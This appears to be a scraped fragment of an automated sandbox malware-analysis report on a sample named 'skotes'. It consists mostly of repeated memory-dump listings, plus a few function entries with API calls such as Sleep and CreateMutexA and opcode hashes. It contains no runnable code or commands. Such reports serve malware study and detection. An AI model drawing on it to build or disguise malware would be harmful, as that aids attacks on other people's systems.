Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dd54f9cde2b2495e4e3cf3b11a5c928d526ec72b6c77c26c43917e312478a98c
Instruction ID: f9b924e5e855fabb977272569e0637f6d936f60a6b5580620aef0a611835274a
Opcode Fuzzy Hash: dd54f9cde2b2495e4e3cf3b11a5c928d526ec72b6c77c26c43917e312478a98c
Instruction Fuzzy Hash: 9A214D72344209C7E72C5B68DE9EF6DB6A1DF82308F28142EE444F63C1CA7B89839553

Function 00ECA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e7ba5208c8ac07ca030e9f1577228e86344ab918d92514cca868b12fe617a0a6
Instruction ID: 3681b12e300ba0b29ee88ae1612ac4028f4b37412b26ab53d7d7b68b9250e818
Opcode Fuzzy Hash: e7ba5208c8ac07ca030e9f1577228e86344ab918d92514cca868b12fe617a0a6
Instruction Fuzzy Hash: 95217B31304208D7E7189B6CEE99B6CF761DBD2318F28522DE408F77D0C73789828252

Non-executed Functions

Function 00EC2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EC2F5F
GetCurrentThreadId.KERNEL32 ref: 00EC2F7E
__Mtx_unlock.LIBCPMT ref: 00EC2FCC
__Cnd_broadcast.LIBCPMT ref: 00EC2FE3
__Mtx_unlock.LIBCPMT ref: 00EC30F5
GetCurrentThreadId.KERNEL32 ref: 00EC3132
__Mtx_unlock.LIBCPMT ref: 00EC319B

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 68df3238d5e5f106a33b4c0dd9f963d49e2a52c4ebe8b90319be213602bf49f6
Instruction ID: b533e5a1bfee4eef9659c9242b6ba3ad93401655092600a2141df9cdc29fedcd
Opcode Fuzzy Hash: 68df3238d5e5f106a33b4c0dd9f963d49e2a52c4ebe8b90319be213602bf49f6
Instruction Fuzzy Hash: 94A1E171A016069FDB20DF74CA45B9AB7E8FF14358F14A12EE815E7341EB32DA06CB91

Function 00EFCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EFCC66

Strings

v, xrefs: 00EFCBE1

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v
API String ID: 3213747228-1361604894
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: f5530a69dab17ef92fac6b6929f31fdd68290eace9acb73ed14f7109ece3cf9f
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: FAB11232A0064D9FDB15CF28C9817BEBBE5EF45344F3491AADA45FB281D6358D02CB60

Function 00EDBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00EDBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00EDBBE4
_xtime_get.LIBCPMT ref: 00EDBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00EDBC13

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
